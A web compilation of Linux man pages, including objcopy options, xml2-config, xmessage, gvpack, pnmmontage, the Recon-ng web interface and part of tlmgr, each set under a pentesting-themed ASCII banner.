Creates a .gnu_debuglink section which contains a reference to path-to-file and adds it to the output file. Note: the file at path-to-file must exist. Part of the process of adding the .gnu_debuglink section involves embedding a checksum of the contents of the debug info file into the section. If the debug info file is built in one location but it is going to be installed at a later time into a different location then do not use the path to the installed location. The –add-gnu-debuglink option will fail because the installed file does not exist yet. Instead put the debug info file in the current directory and use the –add-gnu-debuglink option without any directory components, like this: objcopy –add-gnu-debuglink=foo.debug At debug time the debugger will attempt to look for the separate debug info file in a set of known locations. The exact set of these locations varies depending upon the distribution being used, but it typically includes:

“* The same directory as the executable.”

“* A sub-directory of the directory containing the executable”

called .debug

“* A global debug directory such as /usr/lib/debug.”

As long as the debug info file has been installed into one of these locations before the debugger is run everything should work correctly.

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, removing contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all note sections in the output. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. This option is intended for use by the compiler as part of the -gsplit-dwarf option, which splits debug information between the .o file and a separate .dwo file. The compiler generates all debug information in the same file, then uses the –extract-dwo option to copy the .dwo sections to the .dwo file, then the –strip-dwo option to remove those sections from the original .o file.

–extract-dwo
Extract the contents of all DWARF .dwo sections. See the –strip-dwo option for more information.

–file-alignment num
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to PE targets.]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. [This option is specific to PE targets.]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to PE targets.]

–section-alignment num
[This option is specific to PE targets.] Sets the section alignment field in the PE header - if one is present in the binary. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. Note - this option will also set the alignment field in each section’s flags. Note - if a section’s LMA or VMA addresses are no longer aligned, and those addresses have not been set via the –set-section-lma or –set-section-vma options, and the file has been fully relocated then a warning message will be issued. It will then be up to the user to decide if the LMA and VMA need updating.

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. [This option is specific to PE targets.]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, efi-app, efi-bsd, efi-rtd, sal-rtd, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to PE targets.]

–extract-symbol
Keep the file’s section flags and symbols but remove all section data. Specifically, the option:

*<removes the contents of all sections;>

*<sets the size of every section to zero; and>

*<sets the file’s start address to zero.>

This option is used to build a .sym file for a VxWorks kernel. It can also be a useful way of reducing the size of a –just-symbols linker input file.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. Note - if compression would actually make a section larger, then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

For ELF files, these options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –decompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–decompress-debug-sections
Decompress DWARF debug sections. For a .zdebug section, the original name is restored.

–elf-stt-common=yes

–elf-stt-common=no

For ELF files, these options control whether common symbols should be converted to the STT_COMMON or STT_OBJECT type. –elf-stt-common=yes converts common symbol type to STT_COMMON. –elf-stt-common=no converts common symbol type to STT_OBJECT.

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes.

-V

–version

Show the version number of objcopy.

–verilog-data-width=bytes
For Verilog output, this options controls the number of bytes converted for each output data element. The input target controls the endianness of the conversion.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, objcopy -V lists all members of the archive.

–help
Show a summary of the options to objcopy.

–info
Display a list showing all architectures and object formats available.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ld (1), objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1948 - Linux cli command xml2-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml2-config and provides detailed information about the command xml2-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml2-config.

NAME 🖥️ xml2-config 🖥️

config - script to get information about the installed version of GNOME-XML

SYNOPSIS

xml-config [–prefix*[=DIR]*] [–libs] [–cflags] [–version] [–help]

DESCRIPTION

xml-config is a tool that is used to determine the compile and linker flags that should be used to compile and link programs that use GNOME-XML.

OPTIONS

xml-config accepts the following options:

–version
Print the currently installed version of GNOME-XML on the standard output.

–libs
Print the linker flags that are necessary to link a GNOME-XML program. Add –dynamic after –libs to print only shared library linking information.

–cflags
Print the compiler flags that are necessary to compile a GNOME-XML program.

–prefix=PREFIX
If specified, use PREFIX instead of the installation prefix that GNOME-XML was built with when computing the output for the –cflags and –libs options. This option must be specified before any –libs or –cflags options.

AUTHOR

This manual page was written by Fredrik Hallenberg <[email protected]>, for the Debian GNU/linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1949 - Linux cli command xmessage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xmessage and provides detailed information about the command xmessage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xmessage.

NAME 🖥️ xmessage 🖥️

display a message or query in a window (X-based /bin/echo)

SYNOPSIS

xmessage [ -buttons label1[:value1],label2[:value2],  . . . ] [ options ] -file filename
xmessage [ -buttons label1[:value1],label2[:value2],  . . . ] [ options ] message . . .

DESCRIPTION

The xmessage program displays a window containing a message from the command line, a file, or standard input. Along the lower edge of the message is row of buttons; clicking the left mouse button on any of these buttons will cause xmessage to exit. Which button was pressed is returned in the exit status and, optionally, by writing the label of the button to standard output.

The program is typically used by shell scripts to display information to the user or to ask the user to make a choice.

Unless a size is specified, xmessage sizes itself to fit the message, up to a maximum size. If the message is too big for the window, xmessage will display scroll bars.

OPTIONS

These are the command line options that xmessage understands, in addition to the standard ones listed in X(7).

-buttons button,button,. . .
This option will cause xmessage to create one button for each comma-separated button argument. The corresponding resource is buttons. Each button consists of a label optionally followed by a colon and an exit value. The label is the name of the Command button widget created and will be the default text displayed to the user. Since this is the name of the widget it may be used to change any of the resources associated with that button. The exit value will be returned by xmessage if that button is selected. The default exit value is 100 plus the button number. Buttons are numbered from the left starting with one. The default string if no -buttons option is given is okay:0.

-default label
Defines the button with a matching label to be the default. If not specified there is no default. The corresponding resource is defaultButton. Pressing Return anywhere in the xmessage window will activate the default button. The default button has a wider border than the others.

-file filename
File to display. The corresponding resource is file. A filename of `-’ reads from standard input. If this option is not supplied, xmessage will display all non-option arguments in the style of echo. Either -file or a message on the command line should be provided, but not both.

-print
This will cause the program to write the label of the button pressed to standard output. Equivalent to setting the printValue resource to TRUE. This is one way to get feedback as to which button was pressed.

-center
Pop up the window at the center of the screen. Equivalent to setting the center resource to TRUE.

-nearmouse
Pop up the window near the mouse cursor. Equivalent to setting the nearMouse resource to TRUE.

-timeout secs
Exit with status 0 after secs seconds if the user has not clicked on a button yet. The corresponding resource is timeout.

WIDGET HIERARCHY

Knowing the name and position in the hierarchy of each widget is useful when specifying resources for them. In the following chart, the class and name of each widget is given.

Xmessage (xmessage)
	Form form
		Text message
		Command (label1)
		Command (label2)
		.
		.
		.

RESOURCES

The program has a few top-level application resources that allow customizations that are specific to xmessage.

file
A String specifying the file to display.

buttons
A String specifying the buttons to display. See the -buttons command-line option.

defaultButton
A String specifying a default button by label.

printValue
A Boolean value specifying whether the label of the button pressed to exit the program is written to standard output. The default is FALSE.

center
A Boolean value specifying whether to pop up the window at the center of the screen. The default is FALSE.

nearMouse
A Boolean value specifying whether to pop up the window near the mouse cursor. The default is FALSE.

timeout
The number of seconds after which to exit with status 0. The default is 0, which means never time out.

“maxHeight (class Maximum)
The maximum height of the text part of the window in pixels, used if no size was specified in the geometry. The default is 0, which means use 70% of the height of the screen.

“maxWidth (class Maximum)
The maximum width of the text part of the window in pixels, used if no size was specified in the geometry. The default is 0, which means use 70% of the width of the screen.

ACTIONS

exit(value)****
exit immediately with an exit status of value (default 0). This action can be used with translations to provide alternate ways of exiting xmessage**.**

default-exit()
exit immediately with the exit status specified by the default button. If there is no default button, this action has no effect.

EXIT STATUS

If it detects an error, xmessage returns 1, so this value should not be used with a button.

SEE ALSO

X(7), echo(1), cat(1)

AUTHORS

Chris Peterson, MIT Project Athena
Stephen Gildea, X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1950 - Linux cli command gvpack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvpack and provides detailed information about the command gvpack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvpack.

NAME 🖥️ gvpack 🖥️

merge and pack disjoint graphs

SYNOPSIS

gvpack [ -nguv? ] [ -mmargin ] [ -arrayopts ] [ -ooutfile ] [ -sgraph_name ] [ -Gname*=*value ] [ files ]

DESCRIPTION

gvpack reads in a stream of graphs, combines the graphs into a single layout, and produces a single graph serving as the union of the input graphs. The input graphs must be in dot format, and must have all necessary layout information. Acceptable input is produced by applying a Graphviz layout program, such as dot or neato, with no -T flag.

By default, the packing is done at the cluster level. Thus, parts of one graph will not intrude into any top‐level clusters or overlap any nodes or edges of another.

The output of gvpack can be used to produce concrete output by applying neato -s -n2 with the desired -T flag.

OPTIONS

The following options are supported:

-g
Combines the graphs at the graph level. This uses more space, but prevents parts of one graph from occurring between parts of another.

-array[_flags][n]**
Combines the graphs at the graph level, placing them in an array. By default, the layout is done in row-major order. The number of columns used is roughly the square root of the number of graphs. If the optional integer n is supplied, this indicates the number of columns to use.

If optional flags are supplied, these consist of an underscore followed
by any of the letters “c”, “t”, “b”, “l”, “r”, “u” or “i”. If “c” is supplied, the graphs are packed in column-major order, in which case a final integer specifies the number of rows. The flags “t”, “b”, “l”, “r” indicate that components are aligned along the top, bottom, left or right, respectively. By default, the insertion order is determined by sorting the graphs by size, largest to smallest. If the “u” flag is set, the graphs are sorted based on the non-negative integer sortv attribute attached to each graph. The “i” flag indicates that no sorting is done, with the graphs inserted in input order.

-Gname*=*value
Specifies attributes to be added to the resulting union graph. For example, this can be used to specify a graph label.

-mmargin
Packs the graphs allowing a margin of output points around the parts.

-n
Combines the graphs at the node level. Clusters are ignored in the packing.

-ooutput
Prints output to the file output. If not given, gvpack uses stdout.

-sgraph_name
Use graph_name as the name of the root graph. By default, “root” is used.

-u
Don’t pack the graphs. Just combine them into a single graph.

-v
Verbose mode.

-?
Prints usage information and exit.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in dot format. If no files operand is specified, the standard input will be used.

RETURN CODES

gvpack returns 0 if there were no problems, and non‐zero otherwise.

EXAMPLES

ccomps -x abc.gv | dot | gvpack | neato -s -n2 -Tps

This pipeline decomposes the graph in abc.gv into its connected components, lays out each using dot, packs them all together again, and produces the final drawing in PostScript. Of course, there is nothing to prevent one from using different layouts for each component.

BUGS

All the input graphs must be directed or undirected.

An input graph should not have a label, since this will be used in its layout. Since gvpack ignores root graph labels, resulting layout may contain some extra space.

gvpack unsets the bounding box attribute of all non‐cluster subgraphs.

AUTHORS

Emden R. Gansner <[email protected]>

SEE ALSO

gvpr(1), dot(1), neato(1), twopi(1), ccomps(1), libpack(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1951 - Linux cli command pnmmontage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmmontage and provides detailed information about the command pnmmontage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmmontage.

.

NAME 🖥️ pnmmontage 🖥️

create a montage of PNM images

SYNOPSIS

pnmmontage

[**-header=**headerfile]

[**-quality=**n]

[**-prefix=**prefix]

[-0|-1|-2||-9]

[**-data=**filename]

pnmfile

DESCRIPTION

This program is part of Netpbm(1) .

pnmmontage packs images of differing sizes into a minimum-area composite image.

Areas of the output that cannot be occupied by an image are black.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmmontage recognizes the following command line options:

**-data=**filename
This option causes pnmmontage to write a file that describes in machine-readable form the positions of the original images within the packed image. Here is an example:

            :0:0:227:298
            ../image1.ppm:0:0:227:149
            ../image2.ppm:0:149:227:149

There is a line for each component image and one for the composite.

The 5 fields on each line are:

  • source image name (or null string indicating the line for the composite image)

  • Column number of upper left corner of the image

  • Row number of upper left corner of the image

  • width of the image (columns)

  • height of the image (rows)

This option was new in Netpbm 10.6 (July 2002).

**-header=**filename
Tells pnmmontage to write a C header file of the locations of the original images within the packed image. Each original image generates four #defines within the packed file: xxxX, xxxY, xxxSZX, and xxxSZY, where xxx is the name of the file, converted to all uppercase. The output also includes #defines OVERALLX and OVERALLY, which specifies the total size of the montage image.

Here is an example:

            #define OVERALLX 227
            #define OVERALLY 298
            
            #define X 0
            #define Y 0
            #define SZX 227
            #define SZY 149
            
            #define X 0
            #define Y 149
            #define SZX 227
            #define SZY 149

-prefix
Tells pnmmontage to use the specified prefix on all of the #defines it generates.

-quality
Before attempting to place the subimages, pnmmontage will calculate a minimum possible area for the montage; this is either the total of the areas of all the subimages, or the width of the widest subimage times the height of the tallest subimage, whichever is greater. pnmmontage then initiates a problem-space search to find the best packing; if it finds a solution that is (at least) as good as the minimum area times the quality as a percent, it will break out of the search. Thus, -quality=100 will find the best possible solution; however, it may take a very long time to do so. The default is -quality=200.

-0, -1, … -9
These options control the quality at a higher level than -quality; -0 is the worst quality (pick the first solution found), while -9 is the best quality (perform an exhaustive search of problem space for the absolute best packing). The higher the number, the slower the computation. The default is -5.

NOTES

Using -9 is very slow on all but the smallest image sets.

The minimum area arrangement is often not a convenient shape. For example, it might be a tall, thin column of images, when you’d rather have something more square. To force a minimum width or height, you can include a strut image - a black image that wide and one pixel high. Similarly, you can use a vertical strut to force a minimum height.

SEE ALSO

pamcat(1) , pnmindex(1) , pnm(1) , pam(1) , pbm(1) , pgm(1) , ppm(1)

HISTORY

pnmmontage was new in Netpbm 9.10 (January 2001).

AUTHOR

Copyright (C) 2000 by Ben Olmstead.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmmontage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1952 - Linux cli command recon-web

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command recon-web and provides detailed information about the command recon-web, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the recon-web.

NAME 🖥️ recon-web 🖥️

web - web-based user interface for Recon-ng.

SYNOPSIS

recon-web [-h] [–host HOST] [–port PORT]

DESCRIPTION

Recon-web is the analytics and reporting engine for Recon-ng. This is a web-based user interface. The user just need to open the printed URL in a browser to begin. It also includes the Recon-API, which can be accessed via the `/api/` URL.

OPTIONS

-h, –help
show this help message and exit

–host HOST IP
address to listen to

–port PORT
port to bind the web server to

AUTHORS

Tim Tomes (@LaNMaSteR53) tjt1980[at]gmail.com

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1953 - Linux cli command tlmgr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tlmgr and provides detailed information about the command tlmgr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tlmgr.

NAME 🖥️ tlmgr 🖥️

the native TeX Live Manager

SYNOPSIS

tlmgr [option…] action [option…] [operand…]

DESCRIPTION

tlmgr manages an existing TeX Live installation, both packages and configuration options. For information on initially downloading and installing TeX Live, see <https://tug.org/texlive/acquire.html>.

The most up-to-date version of this documentation (updated nightly from the development sources) is available at <https://tug.org/texlive/tlmgr.html>, along with procedures for updating tlmgr itself and information about test versions.

WARNING: tlmgr in Debian runs always in user mode

TeX Live is organized into a few top-level schemes, each of which is specified as a different set of collections and packages, where a collection is a set of packages, and a package is what contains actual files. Schemes typically contain a mix of collections and packages, but each package is included in exactly one collection, no more and no less. A TeX Live installation can be customized and managed at any level.

See <https://tug.org/texlive/doc> for all the TeX Live documentation available.

EXAMPLES

After successfully installing TeX Live, here are a few common operations with tlmgr:

“tlmgr option repository ctan”

“tlmgr option repository https://mirror.ctan.org/systems/texlive/tlnet"

Tell tlmgr to use a nearby CTAN mirror for future updates; useful if you installed TeX Live from the DVD image and want to have continuing updates. The two commands are equivalent; ctan is just an alias for the given url. Caveat: mirror.ctan.org resolves to many different hosts, and they are not perfectly synchronized; we recommend updating only daily (at most), and not more often. You can choose a particular mirror if problems; the list of all CTAN mirrors with the status of each is at <https://ctan.org/mirrors/mirmon>.

“tlmgr update –list”
Report what would be updated without actually updating anything.

“tlmgr update –all”
Make your local TeX installation correspond to what is in the package repository (typically useful when updating from CTAN).

“tlmgr info” what
Display detailed information about a package what, such as the installation status and description, of searches for what in all packages.

“tlmgr bug” what
Display available bug-reporting information for what, a package or file name.

For all the capabilities and details of tlmgr, please read the following voluminous information.

OPTIONS

The following options to tlmgr are global options, not specific to any action. All options, whether global or action-specific, can be given anywhere on the command line, and in any order. The first non-option argument will be the main action. In all cases, --option and -option are equivalent, and an = is optional between an option name and its value.

–repository url|path
Specify the package repository from which packages should be installed or updated, either a local directory or network location, as below. This overridesthe default package repository found in the installation’s TeX Live Package Database (a.k.a. the TLPDB, which is given entirely in the file tlpkg/texlive.tlpdb). This --repository option changes the location only for the current run; to make a permanent change, use option repository (see the “option” action). As an example, you can choose a particular CTAN mirror with something like this: -repository http://ctan.example.org/its/ctan/dir/systems/texlive/tlnet Of course a real hostname and its particular top-level CTAN directory have to be specified. The list of CTAN mirrors is available at <https://ctan.org/mirrors/mirmon>. Here’s an example of using a local directory: -repository /local/TL/repository For backward compatibility and convenience, --location and --repo are accepted as aliases for this option. Locations can be specified as any of the following:

“/some/local/dir”

“file:/some/local/dir”

Equivalent ways of specifying a local directory.

“ctan”

https://mirror.ctan.org/systems/texlive/tlnet"

Pick a CTAN mirror automatically, trying for one that is both nearby and up-to-date. The chosen mirror is used for the entire download. The bare ctan is merely an alias for the full url. (See <https://ctan.org> for more about CTAN and its mirrors.)

“http://server/path/to/tlnet”
Standard HTTP. If the (default) LWP method is used, persistent connections are supported. TL can also use curl or wget to do the downloads, or an arbitrary user-specified program, as described in the tlmgr documentation (<https://tug.org/texlive/doc/tlmgr.html#ENVIRONMENT-VARIABLES>).

“https://server/path/to/tlnet”
Again, if the (default) LWP method is used, this supports persistent connections. Unfortunately, some versions of wget and curl do not support https, and even when wget supports https, certificates may be rejected even when the certificate is fine, due to a lack of local certificate roots. The simplest workaround for this problem is to use http or ftp.

“ftp://server/path/to/tlnet”
If the (default) LWP method is used, persistent connections are supported.

“user@machine:/path/to/tlnet”

“scp://user@machine/path/to/tlnet”

“ssh://user@machine/path/to/tlnet”

These forms are equivalent; they all use scp to transfer files. Using ssh-agent is recommended. (Info: <https://en.wikipedia.org/wiki/OpenSSH>, <https://en.wikipedia.org/wiki/Ssh-agent>.)

If the repository is on the network, trailing / characters and/or trailing /tlpkg and/or /archive components are ignored.

–gui [action]
Two notable GUI front-ends for tlmgr, tlshell and tlcockpit, are started up as separate programs; see their own documentation. tlmgr itself has a graphical interface as well as the command line interface. You can give the option to invoke it, --gui, together with an action to be brought directly into the respective screen of the GUI. For example, running tlmgr –gui update starts you directly at the update screen. If no action is given, the GUI will be started at the main screen. See “GUI FOR TLMGR”. However, the native GUI requires Perl/TK, which is no longer included in TeX Live’s Perl distribution for Windows. You may find tlshell or tlcockpit easier to work with.

–gui-lang llcode
By default, the GUI tries to deduce your language from the environment (on Windows via the registry, on Unix via LC_MESSAGES). If that fails you can select a different language by giving this option with a language code (based on ISO 639-1). Currently supported (but not necessarily completely translated) are: English (en, default), Czech (cs), German (de), French (fr), Italian (it), Japanese (ja), Dutch (nl), Polish (pl), Brazilian Portuguese (pt_BR), Russian (ru), Slovak (sk), Slovenian (sl), Serbian (sr), Ukrainian (uk), Vietnamese (vi), simplified Chinese (zh_CN), and traditional Chinese (zh_TW). tlshell shares its message catalog with tlmgr.

–command-logfile file
tlmgr logs the output of all programs invoked (mktexlr, mtxrun, fmtutil, updmap) to a separate log file, by default TEXMFSYSVAR/web2c/tlmgr-commands.log. This option allows you to specify a different file for the log.

–debug-translation
In GUI mode, this switch tells tlmgr to report any untranslated (or missing) messages to standard error. This can help translators to see what remains to be done.

–machine-readable
Instead of the normal output intended for human consumption, write (to standard output) a fixed format more suitable for machine parsing. See the “MACHINE-READABLE OUTPUT” section below.

–no-execute-actions
Suppress the execution of the execute actions as defined in the tlpsrc files. Documented only for completeness, as this is only useful in debugging.

–package-logfile file
tlmgr logs all package actions (install, remove, update, failed updates, failed restores) to a separate log file, by default TEXMFSYSVAR/web2c/tlmgr.log. This option allows you to specify a different file for the log.

–pause
This option makes tlmgr wait for user input before exiting. Useful on Windows to avoid disappearing command windows.

–persistent-downloads

–no-persistent-downloads

For network-based installations, this option (on by default) makes tlmgr try to set up a persistent connection (using the LWP Perl module). The idea is to open and reuse only one connection per session between your computer and the server, instead of initiating a new download for each package. If this is not possible, tlmgr will fall back to using wget. To disable these persistent connections, use --no-persistent-downloads.

–pin-file
Change the pinning file location from TEXMFLOCAL/tlpkg/pinning.txt (see “Pinning” below). Documented only for completeness, as this is only useful in debugging.

–usermode
